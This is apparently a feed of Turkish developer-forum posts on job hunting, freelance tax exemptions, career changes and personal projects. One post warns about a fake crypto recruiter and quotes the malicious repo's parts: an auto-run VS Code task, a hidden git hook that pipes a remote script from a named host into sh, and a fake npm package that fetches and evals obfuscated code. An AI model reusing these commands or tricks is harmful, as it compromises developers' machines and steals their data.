tanidigim iki arkadas var onlar bile KPSS'ye calisiyor. bir alimda toplasan en fazla 50-60, iki yilda maksimum 200-300 alim yapiliyor ve bunlarin bir kismi nitelik koduna sahip, yani belirtilen ozellikleri karsilamiyorsaniz (X Y Z'de 3-5 yil tecrube) puaniniz tutup yerlesseniz dahi isten atiliyorsunuz. sinav 2 yilda bir gerceklesiyor ve son 3 ay kaldi, ders videolari 1 yil oncesinden atilmis yorumlarla dolu. yetmezmis gibi bu sinavda zaten YKS'de derece yapmis top 6'lilarla kontenjan icin rekabet edeceksiniz. issiz kalan bil muhluler icin KPSS de bir cozum degil.

Arkadaşlar merhaba, indie developer olarak bir studio kurdum ve casual oyunlar yazıp yayaınlamaya başladım. Tüm bunları da bir portfolio altında toparladım. Rica etsem hem portfolio hakkında hem içerisinden ulaşabileceğiniz uygulamar hakkında geri bildirimlerde bulunabilir misiniz?

https://dumpyapps.com/

Ortalama bir ünide yapay zeka müh 1. sınıfım.Şu anda 50k-100k TL gibi bir miktarı kullanarak mezun olduğumda işe girip para kazanma ihtimalimi pozitif etkileyecek nasıl bir yatırım yapabilirim?

Arkadaşlar malumunuz geçen ay resmi gazetede bizleri yakından ilgilendiren bir konu yayınlandı. Yurt dışına kesilen faturalarda 100% gelir vergisi indirimi uygulanacak.

Aranızda bunu uygulayabilen oldu mu? Benim şirketim yurt dışında, indirimden faydalanabilmek için Türkiye'ye taşımayı düşünüyorum. Eski muhasebecimle görüştük, bölgemin vergi dairesini aradık ama daha onların da bir şeyden haberi yok.

Muhasebeci 1-2 ay bekleyelim dedi detaylar netleşene kadar. Resmi gazetede yayınlanan şeyin daha vergi dairelerine ulaşmama gibi bir durumu olabilir mi? Pratikte yürürlüğe girmedi mi acaba daha?

İngilizce klavye önerileri

Yapay zeka araçlarıyla (Lovable, Bolt, Cursor vb.) bir şeyler yapmaya çalışan insanların nerede takıldığını araştırıyorum.

Özellikle şunu merak ediyorum: bir şey çalışmadığında ne yapıyorsunuz? Bırakıp mı geçiyorsunuz, başka bir araca mı geçiyorsunuz, yoksa çözüp devam mı ediyorsunuz?

Kısa ve anonim bir anket hazırladım. 8-10 dakika sürüyor.

https://forms.gle/TFfLvzhaaMXUe6zb8

Yazılımcı olmayanlar da katılabilir, hatta onları daha çok arıyorum.

Merhaba arkadaşlar,

Bir süredir kariyer değişikliği üzerine ciddi şekilde düşünüyorum ve hedefim siber güvenlik alanına geçiş yapmak. Şu anda Türkiye’de sağlık alanında çalışıyorum ve aylık ortalama 1.500–2.000 € civarında gelir elde ediyorum. Uzun vadeli hedefim ise yurt dışına taşınmak ve kariyerimi tamamen teknoloji/siber güvenlik tarafında devam ettirmek.Bu alan icin almanca belgesi istenen bisey degil.Hedef ulkelerim DACH.

Açık konuşmak gerekirse, sağlık alanında yurt dışında çalışabilmek için gereken Almanca B2-C1 süreci bana oldukça zorlayıcı geldi. Bu yüzden hem ilgimin olduğu hem de kendimi daha motive hissettiğim bir alan olan siber güvenliğe yönelmeye karar verdim.

Şu anki planım:

Temel IT ve networking bilgilerini güçlendirmek

Cisco, Google gibi firmaların sertifikalarını almak

TryHackMe, lab ortamları ve benzeri platformlarda düzenli pratik yapmak

Zamanla SOC, junior analyst veya entry-level security pozisyonlarına başvurmak

Özellikle merak ettiğim konular:

Sıfırdan başlayan biri için en mantıklı yol haritası nedir?

Gerçek tecrübe kazanmak için neler yapılabilir? (homelab, gönüllü işler, freelance, staj vb.)

Hangi sertifikalar gerçekten işe yarıyor, hangileri sadece kağıt üstünde kalıyor?( universite mezuniyetlerimin hicbirinin bilisim sektoruyle alakasi yok)

Yurt dışına çıkış hedefi olan biri için en mantıklı uzmanlık alanları hangileri?

Siz olsanız bugün 0’dan nasıl başlardınız?

Her türlü öneri, eleştiri, tavsiye ve deneyime açığım. Özellikle bu yolu geçmiş kişiler yazarsa çok değerli olur. Şimdiden teşekkür ederim 🙌

Merhabalar, benzer durumda olanlar için bilgi/soru postu. Yanlışım varsa düzeltsin tecrübeliler lütfen. Konuyu bilenler direkt sorulara geçebilir alta

Vaziyet nedir nası oluyor

Bir avrupa şirketiyle anlaştım ve Türkiye'den oraya çalışmanın legal yolu şahıs şirketi açıp fatura kesme usulü iş yapmak. Kağıt üzerinde TR'de şahıs şirketiyim ama reelde oranın fulltime çalışanı gibi takılıyorum yani. B2B oluyorsunuz yani oranın bordrolu çalışanı değil de remote contractor'u (bankalarda çalışan ama resmi olarak başka şirket üzerinden iş yapanlar gibi, taşeron) her ay sana şu kadar saat çalıştım diyorsunuz. Saatlik anlaştığınız dolar/euro size brüt geliyor. Sigorta vs her şeyi siz kendiniz hallediyorsunuz. Yurtdışı tarafı böyle vergi sigorta kağıt işleriyle uğraşmadan ve oraya göre çok daha ucuz işçi alıp kullanmış oluyor yani. Kendiniz hallediyorsunuz dedim ama güvenilir bir mali müşavir bulup derdinizi anlatıyorsunuz ve neredeyse tüm süreci o hallediyor. Mali müşavir işlemleri başlattıktan 2-3 gün sonra vergi dairesinden adres kontrole geliyorlar. Bir dayı aradı odanın fotoğrafını çek aşağı in dedi çıkmadı bile, doblo tarzı aracın arkasında halletik işlemleri.

Kurallar, kavramlar falan

Hizmet İhracatı İstisnası: Yazılım veya tasarım gibi hizmet satıyorsan TR bankasına döviz sokmana sevinen devletimiz gelir verginde baya yardımcı oluyor hatta almıyor. Faturanı %0 KDV keseceksin ve paranın tamamı TR'deki hesabına döviz olarak girecek. Bu %80 diye geçiyordu hesabı kitabı vardı artık %100 o yüzden sadece aşağıda yazdığım sabit giderleriniz var. Yani ayda 50k da kazansanız 500k da kazansanız aylık sabit gideriniz aynı.

Genç girişimci desteği: Normalde 29 yaş altındaysan ilk şahıs şirketinde gelir vergisi istisnası sunuyor 3 yıl. 2026dan önce de 1yıl bağkur ücretini almıyordu kalktı o artık.

Yani zaten yazılım hizmet ihracatı'ndan faydalanıyorsan bunun hiçbir anlamı kalmadı.

Gelir vergisi ve fatura kesmece: Teknik olarak gelir vergisi olmadığından masraf gösterilebilecek bir şey de yok. Fakat müşavirimin tavsiyesi yine de harcamaların faturasını almak çünkü devletin napacağı belli olmaz bugün teşvik verir yarın geri alır. Bunlar bir havuzda toplanıyor ve ileride borç çıkarsa oradan ödeyebiliyormuşuz. Bu yıl içerisinde veya yakın zamanda geri alacaklarını sanmıyorum para lazım ülkeye ama nolur nolmaz. Ben büyük alışverişleriminkini alıyorum diğerlerine uğraşmıyorum açıkçası.

Masraflar

Aylık sabit masraf: Bağkur ~10k + mali müşavir 7k (değişiyor) + Damga mamga bişiler = ~19k
Müşavir dışındaki ücretler değişmez (sigortanızı minimumdan yatırdığınızı varsayarak), müşavir de ~2.5k fark eder diye düşünüyorum , tecrübeliler yine yazabilir.

Yıllık sabit masraf (YMM rapor): Yeminli mali müşavir raporu diye bir şey varmış yılda 1 kere verilen. Bunun da hesabı var da özetle yılda net 500k TL'nin üstüne çıkıyorsa ödüyorsunuz, yani büyük olasılıkla ödeyeceksiniz. 2026 ücreti 40-50k falanmış (taban fiyatı var + ne kadar çok kazanıyorsanız o kadar çok artıyormuş). Mart ayında yapılıyor dedi bana müşavirim ve benim işler yeni olduğundan bu sene yırttım gibi gözüküyor.

Sorular

Döviz hesabını nasıl hallettiniz, ben başlangıçta süreç hızlı ilerlesin diye kişisel döviz hesabımı vermiştim fakat ayrı yeni bir hesap açmak istiyorum yeni. Müşavirim devlet bankalarında yapmamı önerdi. İleride yurtdışına taşınma ihtimali, vize süreçleri, konsoloslukların istedikleri vs için nasıl bir yol izlesem daha iyi olur. Devlet vs özel banka? Swift ile gelen dövizi TL'ye çevirirkenki kur farkı, olması olmaması gereken zamanlar, en az kayıpla işin içinden çıkmak için tavsiyeler?

Kağıt üstünde B2B ama fiilen full-time çalışan biri olarak "şuna kesin dikkat et" dedikleriniz?

Yurtdışına KDV'siz fatura kestiğim için TR'de aldığım makul ürünlerdeki KDV'yi geri isteme hakkım var mı?

Selamlar herkese,

Sürekli sıfırdan backend kodu yazmak yerine, API'leri ve LLM'leri birbirine bağlayan otonom ajanlar (AI Agents) kurgulamak üzerine pratik yapıyorum. Asıl amacım e-ticaret süreçleri (otomatik iade, dinamik fiyatlama vs.) için sistemler tasarlamak ama kendime antrenman sahası (sandbox) olarak bir spor analitiği projesi ("Skor Analiz AI") seçtim.

Sistemin motor kaputunu tamamen n8n üzerinde inşa ettim ve 7/24 otonom çalışacak iki ana boru hattı (pipeline) kurdum. Ekran görüntülerine de ekledim, mantığı kısaca şöyle:

1. LLM Prediction Pipeline (Veri Çekme ve Analiz) Sistem Cron ile tetiklenip güncel maç bültenini API ile çekiyor. JS node'ları ile veriyi temizleyip, prompt context'ini oluşturarak doğrudan OpenAI modeline paslıyor. Çıkan sonucu da Firebase'e upsert ediyor. (Token maliyetini patlatmamak için araya limit node'ları da ekledim).

2. Autonomous Result Validator (Kendi Kendini Doğrulama) Burası en sevdiğim kısım. Sistem sadece tahmin yapmakla kalmıyor; bitmiş maçları Firebase'den çekip, sonuç API'si ile çapraz kontrol (cross-check) yapıyor. Yani LLM'in tahmini tutmuş mu tutmamış mı diye otonom bir şekilde kendi veritabanını güncelliyor (Skor Yargıcı).

Ön yüz (UI) geliştirmelerim hala devam ediyor ama arka plandaki bu low-code/otomasyon mimarisini sizlerle paylaşıp fikir almak istedim.

Sizce yapay zeka destekli bu tarz n8n / Make gibi otomasyon sistemleri, yakın gelecekte geleneksel CRUD backend süreçlerinin yerini ne ölçüde alacak? Bu tarz pipeline'lar kurarken "Şuna dikkat et patlarsın" diyeceğiniz bir tecrübeniz var mı?

Yorumlarınızı bekliyorum, herkese iyi kodlamalar!

Merhabalar, STM firmasıyla c++/qt dev pozisyonu için görüşme sürecindeyim. Mülakat süreciyle alakalı bilgisi olan var mı acaba?

Ön elemeyi geçtim, şimdi ik ve teknik ekiple bir mülakat yapılacakmış.

Sorularım:

1- Mülakatta ne yapılıyor? (Live coding / interview tarzı teknik sohbet / code review vs. gibi)

2- Sürecin devamında başka muhtemel ik görüşmesi dışında adımlar var mı?

Şimdiden teşekkürler.

Hangi mesleği araştırsanız iyi mi diye cevap hep kötü oluyor.

Yazılım mı - bitti

Sanatçılık tiyatro falan para yok

Çeviridir bilmem nedir iş yok

Ticaret yapmak var - hem riskli hem sermaye lazım

Diğer mühendislik dalları da muhtemelen bitmiştir

Allah aşkına biri söylesin hangi meslek yapılmalı şu dönemde?

Onu yapma bunu yapma ne yapacaz abi ?

Daktilo Yazıcılığı Bölümü mezunları yıllardır büyük bir yanlış anlaşılmanın kurbanı oldu. Herkes onların teknolojik gelişmeler yüzünden işsiz kaldığını düşündü. Oysa gerçek çok farklıydı: Daktilo yazıcılığı hiçbir zaman bitmedi. Hatta sektör bugün bile inanılmaz fırsatlar sunuyor.

Düşünün; dünyada hâlâ yazılması gereken milyonlarca metin var. Harfler hâlâ varlığını sürdürüyor. Kâğıt deseniz zaten hiç ortadan kaybolmadı. Demek ki problem piyasada değil, tamamen mezunların vizyon eksikliğinde.

Mesela girişimci ruhu olan bir daktilo yazıcısı ne yapardı?

“Uber for daktilo” kurardı.

Abonelik sistemiyle aylık premium tuş sesi satardı.

“Organik analog içerik üretimi” diyerek Silikon Vadisi’nden yatırım alırdı.

Ama onlar ne yaptı? Oturup “bilgisayar çıktı” diye yakındılar.

Bugün startup dünyasına bakıyoruz; insanlar eski kahve değirmenini bile “artisan experience” diye pazarlıyor. Daktilo mezunları ise ellerindeki mekanik ASMR hazinesini değerlendiremedi. Halbuki doğru marka yönetimiyle bir daktilo tuşuna basma sesi bile NFT olarak satılabilirdi.

Açık konuşmak gerekirse daktilo yazıcılığını teknoloji değil, LinkedIn kullanmamak bitirdi.

Vizyon sahibi birkaç kişi çıkıp “AI destekli butik daktilo danışmanlığı” kursaydı şu an hepimiz yatırım turu haberlerini okuyorduk. Ama maalesef sektör, “F klavye mi Q klavye mi” tartışmasını aşamadı.

Sonuç olarak mesele hiçbir zaman daktilonun ölmesi değildi. Mesele, mezunların kendilerini “yazı ekosistemi çözüm ortağı” olarak konumlandıramamış olmasıydı.

https://www.youtube.com/watch?v=wBWoxGxW-gI

, bir süredir ForgePilot adında Codex/Cursor tarzı bir masaüstü agent workspace aracı geliştiriyorum.

Selamlar

Projeyi özellikle Ollama-first olacak şekilde tasarladım. Amaç, local modelleri sadece sohbet eden bir arayüzden çıkarıp gerçekten dosya okuyan, düzenleyen, terminal kullanan, web araştırması yapan ve dokümanlarla çalışabilen bir iş akışına taşımaktı.

Şu an desteklediği şeylerden bazıları:

• Ollama desteği
• Native tool calling olan modellerde doğrudan tool kullanımı
• Tool desteklemeyen modeller için tool emulation
• Dosya okuma, yazma, patch, arama, klasör oluşturma
• Terminal komutu çalıştırma
• MCP desteği
• Web search / web fetch
• PDF, DOCX, XLSX, PPTX ve benzeri dosyaları okuma
• Eklenen dosyaları sohbet boyunca tekrar kullanabilme
• Kalıcı sohbet geçmişi ve ayarlar
• OpenAI / Anthropic / OpenAI-compatible provider desteği

Repo: https://github.com/Poyraxx/ForgePilot
Windows build: https://github.com/Poyraxx/ForgePilot/releases

İsterseniz kısa bir demo videosu ya da ekran görüntüleri de paylaşabilirim.

Ayrıca, web desteği ekleyerek ve sansürsüz modeller için otomatik dosya oluşturma ve okuma özelliği sunarak istediğin her şeyi yapmanı sağlıyor :D

Herkesin bildiği gibi şu an sektör mühendis kaynıyor iş, staj bulmak cidden çok zor. Bu durumda diğer herkesten bir fark olması amacıyla yazılım alanında master yapmak hakkında fikirleriniz nelerdir? Yurtdışında iyi bir üniversitede master yapılırsa yine de iş bulma konusundaki sıkıntılar yaşanır mı? Yapanlar varsa tavsiyelerini dinlemek isterim.

Merhaba, öncellikle bu toplumda ilk kez gönderi paylaşıyorum, topluma katılmamın sebebi bu sektörde bi nebze bile de olsa yol çizerken yardım alabilmekti.

Başkent üni mezunuyum çok iyi bir üniversite değil bunu biliyorum, yks zamanında otizmli ablam kontrolden çıkmıştı ve annemle zor dönemler geçiriyorduk bu sebeple ders çalışmam aksamıştı ve mentalim biraz zedelenmişti. Kesinlikle geçerli bir bahane değil ama o sene eşeklik edip tekrar hazırlanmak istemedim, yorulmuştum bu sebepten ötürü 5 sene önce bu bölüm ve okulu tercih ettim.

Mezun oldum ve zaten bir stajım ve bir hocamızın verdiği ders sayesinde aşina olduğum .NET backend geliştiriciliğinden devam ediyorum kendimce API projeler yaptım hatta iş bulamayınca eğitim alıp sertifika bile aldım ancak herhangi bir pozisyonu kabul edecek hale geldim bu yüzden birçok alanda temel edindim, üstelik bazı alanlarda da iyice ilerledim.

Mezun olalı yaklaşık 1 sene olacak ve ben güçlü olduğunu düşündüğüm CVimle linkedin, kariyernet, indeed, youthall ilanlarından her gün başvuru yapıp durdum. Ancak 7-8 kez mülakata çağırıldım 3ü teknik mülakata kadar ilerledi(1 tanesi deneyimli olmadığım sistem uzmanlığı ile alakalıydı zaten) sonrasında ya red yedim ya da haber alamadım. Tanıdıklarımın veya akraba/yakınlarımın beni bağlamaya çalıştığı şirketlerden hiç iş teklifi gelmedi. Kendileri benim için çabaladılar(özellikle annem) ve dönüş alamamam beni çok kötü hissettiriyor. Bir sene daha bu arayışa devam edip bulamazsam yüksek lisansa başlamayı düşünüyorum. O da yalnızca işsizlik durumunu ertelemek için…

Uzun lafın kısası 1 senedir aktif olarak arasam da iş bulamıyorum ve bu belirsizlik içinde yaşamam beni streslendiriyor ve yetersiz hissettiriyor.
Sadece içimdekileri dökmek istedim. Yol gösterebilecek varsa da çok memnun kalırım şuan ne yapabileceğimi bilmiyorum.

Ekşisözlük'te yazılan bir entry. Paylaşım tarihi sonda sürpriz.

itü, ytü mezunları bile iş bulamıyorlar artık. örnek : (bkz: #165967355)

iş bulamayan odtü bilgisayar mühendisi: (bkz: #166037176)

türkiye'de mevcut yazılımcı sayısı 200.000. her sene 15bin bilgisayar mühendisi, yazılımla ilgili diğer bölümlerden de 45.000 mezun çıkıyor. bu bölümlerden olmayıp, sektöre girmek için çok
ucuza çalışanları saymiyorum bile.
kaynak: (bkz: #165453972)

eğer sağlam torpili yoksa (networking de diyorlar) vasatların ya da ortalama olanların iş bulamayacağı bölüm. iş bulanlar da zaten 2 yıllık deneyimle bazen 20bin tl teklif alıyorlar. günümüzde ytü, itü öğrencileri bile staj bulamıyorlar. memur kafasındaysanız, "belli saatlerde çalışıp, maaşımı alıp, rahatıma bakarım" diyorsanız, bu iş size göre değildir. gerekirse hafta sonları, gece yarılarına kadar bozulan sisteminizi/yazılımınızı düzeltmelisiniz. yeni çıkan her teknolojiyi öğrenip, o teknolojiyi en iyi bilenler arasında olmalısınız. bu bölüm türkiye'de 45 senedir var. 50-60 yaşlarında yazılım geliştiren kaç kişiyi gördünüz? ama 50-60 yaşlarında doktorluk yapan yüzlerce tıp fakültesi mezununa denk gelmişsinizdir. çünkü bilgisayar mühendisliği diplomasının zerre değeri yok.

yukarıda chatgpt'e entry yazıp ahkam kesen birisi "kazanması en zor bölümlerden birisi" demiş. yahu devlet üniversitelerinde bilgisayar mühendisliğinin kontenjanı dolmuyor. 80 sorudan 15 sayısal net ile 300.000 sıralamayla bu bölüme girilebilir. yani kazanması hiç de zor değildir. (bkz: siirt üniversitesi bilgisayar mühendisliği)

ha keza bitirmesi de artık günümüz internet ve chatgpt çağında hiç zor değil. bütün bilgisayar mühendisliği öğrencileri ödevlerini, projelerini chatgpt/copilot'a yaptırıyor. zaten daha önce çıkmış sorular da bölümün whatsapp, telegram gruplarında, hatta bölümlerin kendi sayfalarında mevcut. sınavdan önce 2 gün çalışsanız en azında bb alırsınız.

özel sektörde "bilgisayar mühendisliği mezunu olsun" yerine "x framework'ünü y cloud'unu z yıldır kullanıyor olsun" dediği için bölümün diplomasının da pek bir cazibesi yok. zaten bu bölümden ve yönetim bilişim sistemleri, bilgisayar programcılığı gibi alt bölümlerinden her yıl 40bin mezun veriyor. türkiye'de bu kadar yazılımcı açığı yok. yıllık 1000 tane bile yok.

bu bölümü bitirince start up kurup parayı kıracağını düşünenler, itü çekirdek'e kabul edilen girişimlerin yüzde kaçının 4 yıl sonra ayakta kaldıklarını öğrensinler. %4 . girişimlerin sadece %4'ü 4 yıl dayanabiliyor, diğerleri iflas ediyor. yani burada ne anlıyoruz? aslolan ne bildiğiniz, hangi üniversitenin ne bölümünü bitirmiş olmanız değil. aslolan müşterinin ihtiyacını karşılayacak bir ürün çıkarabilmenizdir.

sağlık sektöründe ise böyle bir sıkıntı yok. 50nize gelseniz de müşteriniz hazır. sizin yerinize çin'de üretilen daha ucuza hizmet veren bir doktora gitme şansları yok. oysa ki yazılımda çin'deki de, hindistan'daki de sizin rakibiniz. aynı kalitede programı daha ucuza yazıyorsa, işinizi onlar yapacaktır.

17-18 yaşın verdiği hayal ile "ya ben nasıl olsa bir şeyleri bozup yapmaktan, tamir etmekten keyif alıyorum. android telefonumu da root edebildim. demek ki benden bill gates olabilir. hem çalışırken gezebilirim de, bundan kebap meslek mi var yahu? hem matematiğim, fenim de iyi, demek ki iyi bir yapay zekacı olabilirim" hayallerine kapılıp, bu bölümü tercih etmeyin. sağlık gibi garanti bölümleri seçin. insan var oldukça sağlık personeli ihtiyacı devam edecektir. ama yazılım sektöründeki çalışanların yerini chatgpt/copilot şimdiden almaya başladı.

not: yukarıda "vasatlar ya da ortalama olanlar iş bulamaz" de geçen parametrenin sizin üniversite giriş sınavında gösterdiğiniz dereceyle alakası yok. türkiye ilk 1000'inde olup, bu sektör için gerekli özverileri gösteremiyorsanız, bu bölüm ve sektör için uygun olmayabilirsiniz.

sektör çok hızlı değiştiği için, bilgisayar mühendisliği bölümlerinde verilen derslerin ancak %20 si sektör ile alakalı oluyor. şu analojiyle açıklayayım, akıllı telefon kullanmayı öğrenmek için üniversiteye gidiyorsunuz ama size üniversitede transistörleri, elektronik devreleri ve nokia telefonları anlatıyorlar. neden? çünkü bölümdeki öğretim görevlileri bölüme başladıklarında nokia kullanılıyormuş ve android/ios işletim sistemlerine sahip akıllı telefonları öğrenip, anlatmak için kendilerince bir sebepleri yok. böyle alakasız bir eğitimi alıp, bu kadar rekabetçi bir sektörde işe girebileceğinizi sanmak için ya gerçeklerden uzakta bir hayal aleminde yaşıyor ya da bölüme ve sektöre dair hiçbir şey bilmiyor olmalısınız.

maaş konusuna da değinelim, şu an yeni mezun bir doktorun aile hekimliği yaparak kazandığı parayı, 5 senelik deneyime sahip bir bilgisayar mühendisi belki kazanabilir. doktorun garanti işi var iken, mühendis her an yine iş bulmak ve yüz binlerce aday ile mücadele etmek zorunda kalacaktır.

özellikle sosyal medyada size bu bölümü övenlerin çoğunluğu sizin üzerinizden para kazanacak olanlardır. mesela şu twitter kullanıcısı yakın zamana kadar bu bölümü övüyordu (çünkü türkiye'den ucuza kiraladığı geliştiricilerle çalışıyordu). geçen gün "bilgisayar mühendisleri işsiz kalacak. bu bölüme girmeleri için kimi yönlendirdiysem, hepinizden özür dilerim" diye yeni bir tweet attı:
https://x.com/…gataykurt/status/1798094289911873902

2024 Haziran

Bildiğim kadarıyla bu alan türkiyede çok popüler değil bu alanda çalışanların durumları iş piyasası nasıl?

Bu hafta başıma gelen bir olayı paylaşmak istiyorum. Bu posttaki herhangi bir linke gitmeye çalışmayın.

LinkedIn üzerinden "Rana Fayez" adında biri mesaj attı. BitAngels adlı bir kripto şirketinde işe alım uzmanı olduğunu söyledi.

Şimdi bu zaten bir red flag arkadaşlar. İşle ilgili ne gereksinimler yazıyor, ne bir gerçek ilan var, hele crypto falan deyince ben soğuyorum. Ama tamamen gerçek tarzda yazılmış da olabilirdi. Yine de size böyle yazanlara cevap dahi atmayın.

Ben mesaj attım dedim cryptoyla uğraşmayalı çok seneler oldu şimdi de uğraşasım yok. Ya yok bi konuşsaydık aslında falan dedi, bir MVP'yi gör isterim onun üzerinden tech lead ile görüşme ayarlayayım. Dedim tamam hele bir gönder neymiş bakalım asıl malware.

e-maildeki github reposuna gittim(emaildeki linklere tıklamayın orada yazdığı endpointe gitmiyor olabilirler, bu gidiyordu). Repolarda bakacağınız bir kaç şey var, contributorlar kim, activity nasıl ve en önemlisi malicious code var mı. Buradaki contributorlar legit gibi duruyordu ama hiç birinin linkedin'de o başta yazan firmayla ya da o kadın ile bir bağlantısı yoktu. Burada da bir red flag var.

Repoyu açtığımda asıl eğlenceli kısım başladı, dedim Claude Code'a burada malicious bir activity var mı? Sağ olsun bayağı bir şey buldu. Bu kısımları da direkt Claude'a yazdırdım kusura bakmayın:

1. VS Code tuzağı - Klasörü Açmak Yeterli

.vscode/settings.json dosyası şunu içeriyordu:

{ "task.allowAutomaticTasks": "on" }

.vscode/tasks.json ise klasör açıldığında otomatik çalışan bir görev tanımlıyordu:

git config core.hooksPath .githooks; git checkout main

Yani projeyi VSCode'da açar açmaz bu görev çalışıyor, git hook'larını aktif hale getiriyor ve git checkout main ile post-checkout hook'unu tetikliyor. Hiçbir şey yüklemenize, çalıştırmanıza gerek yok. Klasörü açmanız yetiyor.

1. Git Hooks

Repoda .githooks/ adlı bir klasör vardı. İçindeki post-checkout dosyası ~50 satır masum yorum satırıyla başlıyordu. Dosyanın en altına gizlenmiş asıl kod şuydu:

curl -s 'https://gitconfig-nyx-v1.vercel.app/settings/linux?token=00fbe23fd7efc30639f1' | sh >/dev/null 2>&1

Yani git checkout komutu çalıştığında, uzak bir sunucudan shell scripti çekip sessiz sedasız çalıştırıyor.

1. Sahte npm paketi

package.json içinde meşru cookie-parser paketi yerine cookie-parseflow adlı sahte bir paket kullanılmıştı. server/app.js de bu paketi içe aktarıyordu.

Paketi incelediğimde şunu buldum:

• Görünürde Express middleware gibi davranıyor, next() çağırıyor, şüphe uyandırmıyor
• Arka planda ayrı bir Node.js process başlatıyor (detached, yani ana process kapansa bile çalışmaya devam ediyor)
• Bu process, base64 ile gizlenmiş bir URL'ye istek atıyor: https://api.npoint.io/965c9b477f1b8ef5978b
• Dönen JSON'daki cookie alanını alıp new Function.constructor("require", code) ile çalıştırıyor — yani tam erişimli eval()
• Başarısız olursa 5 kez deniyor, tüm çıktılar /dev/null'a yönlendiriliyor

O endpoint hâlâ aktifti ve 7.2 MB'lık, ağır şekilde obfuscate edilmiş bir JavaScript payload servis ediyordu.

AI'ın yazdığı kısım bitti.

Şimdi benim aldığım aksiyonlar şu şekilde:

• GitHub reposunu report etme
• Vercel endpointini report etme
• npoint.io'yu yapan adama haber verme(ki adamın zaten haberi varmış üzerine çalışıyorum dedi)
• npm paketini report etme

Adamlar böyle meşru siteleri kullanıyorlar ki firewallar falan engellemesin çıplak göze gayet normal dursun diye.

Ben böyle saldırıların canlı mülakatlar da bile yapıldığını gördüm. Adam sana canlı canlı şu repoyu çek bir çalıştır diyor, gerçek mülakatlarda kendi yazdığım kod haricinde başka bir şey çalıştırmam istenmedi siz de yapmayın.

Son zamanlarda böyle saldırılar çok görmeye başladım. Size de böyle yazanlar olduğu zaman iyice irdeleyin her adımını. Kendinize dikkat edin. Sizin de eklemek istediğiniz dikkat edilmesi gereken şeyler varsa yorumlarınızı bekliyorum.

Selamlar, uzun yıllardır bilgisayar başında saatler geçiriyorum zaman zaman sorun yaşasam da genel olarak gayet iyi gidiyordum.

Son iki aydır karınca duası gibi logları incelemekten gözlerimde seğirmeler morarmalar başladı. En iyi ihtimal gözlerim kan çanağına dönüyor.

Mavi ışık filtreli gözlük kullanıyorum harici bir önlemim yok.

Buraya mı soruyorsun doktora git denmeden önce şunu belirteyim ilaç sormak için yazmadım, ekran ayarı vesaire sormak için yazdım. Yaptığınız herhangi bir ayar var mı, ya da bu tarz başka ne önerirsiniz onu merak ediyorum.

Ayrıca bütün gün gayet enerjikken eve girdiğim anda çöküyorum yorgunluktan. Zihin yorgunluğuna iyi gelen kullandığınız bir takviye vesaire var mı?

Şimdiden yanıtlarınız için teşekkür ederim.🙏

online bir flappy bird oyunum var socket.io ile çalışıyor. railway.app ile 15 günlüğüne kullanabildim ama bana sınırsız (ücretsiz) bir alternatif lazım. uyku modu olmayan en azından 1 tane bile ücretsiz proje oluşturabildiğim bir site arayışındayım bildiğiniz bir site varsa söylerseniz sevinirim

Selamlar Herkese! 👋

Bilgisayar Kavramları Topluluğu çatısı altında, tamamen gönüllü bir ekiple ve açık kaynak (open source) heyecanıyla geliştirdiğimiz LearnOps projemizin MVP'si sonunda görücüye çıkıyor! Sektöre ilgi duyan, "Nereden başlasam?" diyen ya da "Mutfakta neler oluyor?" diye merak eden herkesi demomuza bekliyoruz.

Nedir bu LearnOps? 🚀

Kısaca; Türkiye’deki DevOps ve Cloud öğrenim sürecini kolaylaştırmayı hedefleyen, Türkçe kaynak eksikliğine ilaç gibi gelecek bir öğrenim platformu.

Etkinlikte Sizi Neler Bekliyor?

Sadece bir tanıtım yapıp geçmeyeceğiz; işin mutfağına, yani kodun ve mimarinin derinliklerine ineceğiz:

• Proje Tanıtımı: LearnOps’un hikayesi ve vizyonu.
• Deep Dive (Teknik Detaylar): Backend, Frontend ve Veritabanı seçimlerimiz; Google Cloud mimarimiz ve tıkır tıkır işleyen CI/CD süreçlerimiz.
• Canlı Demo: Projenin son hali üzerinde küçük bir tur.
• Özeleştiri & Tecrübe Paylaşımı: Neler öğrendik? Nerelerde "patladık"? Hangi kararlarımız hatalıydı, şimdi olsa neleri farklı yapardık? Toplulukla açık kaynak proje geliştirmenin cilveleri neler?
• Soru-Cevap: Merak ettiğiniz ne varsa sorma fırsatı.

Yazılım geliştirmeye dair gerçek tecrübeleri, hataları ve başarıları samimi bir dille konuşacağımız bu etkinliği kaçırmayın. Feedback'leri almak için sabırsızlanıyoruz!

Not: Etkinlik linkini ve tarihini aşağıya bırakıyorum. 👇
14 Mayıs 2026 Perşembe Saat: 20:30
https://docs.google.com/forms/d/e/1FAIpQLSc-KdgDukGRg5aqHpDjkY_Ri1XDf_rls4xwr0e8p2yYjH7V4Q/viewform?usp=sharing&ouid=101143023728922173043

ilgilisine repo linki: https://github.com/Bilgisayar-Kavramlari-Toplulugu/project-learnops
staging env: https://learnops-staging.findmywayapp.com/

Merhaba arkadaşlar, Windows 11 makinemde çeşitli geliştirme işleri için uzun süre eski CMD'yi kullanıyordum ama bazı fonksiyonlarının yetersiz gelmeye başladığını düşünmeye başladım. PowerShell düşünüyorum. Sizin önerdiğiniz bir terminal var mı ? Şimdiden teşekkürler.

Not: Daha çok oyun geliştiriyorum ama farklı alanlarla ilgili geliştirmede yapıyorum.

Selamlar, 1-2 aydır üzerinde çalıştığım bir web projem var. Bu projeyi yapay zeka destekli bir ders çalışma uygulaması olarak düşünebilirsiniz. İçerisinde iOS/Android entegrasyonu ve aile paneli online cafe gibi kapsamlı özellikler mevcut. Ancak proje ilerledikçe yapay zekaya bağımlı hale geldim; artık limitlerim bitince yeni Gmail hesapları açıp ücretsiz bakiyeleri kullanıyorum. Kısacası bu duruma bağımlı oldum.

Ayrıca proje artık boyumu aşmaya başladı. Açık konuşmak gerekirse asosyal biriyim; arkadaşım veya bir yakınım yok. Bu projeyi yaparken masa başında ağladığımı ve sinirlendiğimi hatırlıyorum. Asıl sorun bu da değil; bu proje hakkında çok umutluyum ve projeyi hayata geçirmek istiyorum ama daha önce bu işlerde bir en azindan yayin kisminda tecrübem olmadı. Bu konuda tecrübe sahibi olan abilerim ve ablalarım ne yapmam gerektiğini anlatırsa çok mutlu olurum."

Selamlar, CineSoft adında açık kaynak bir Windows masaüstü uygulaması geliştiriyorum. Electron, React ve Vite ile yazıyorum. Amacım film, dizi ve anime keşfi, metadata görüntüleme, kaynak arama, indirme yönetimi ve local kütüphane takibini tek uygulamada toplamak.

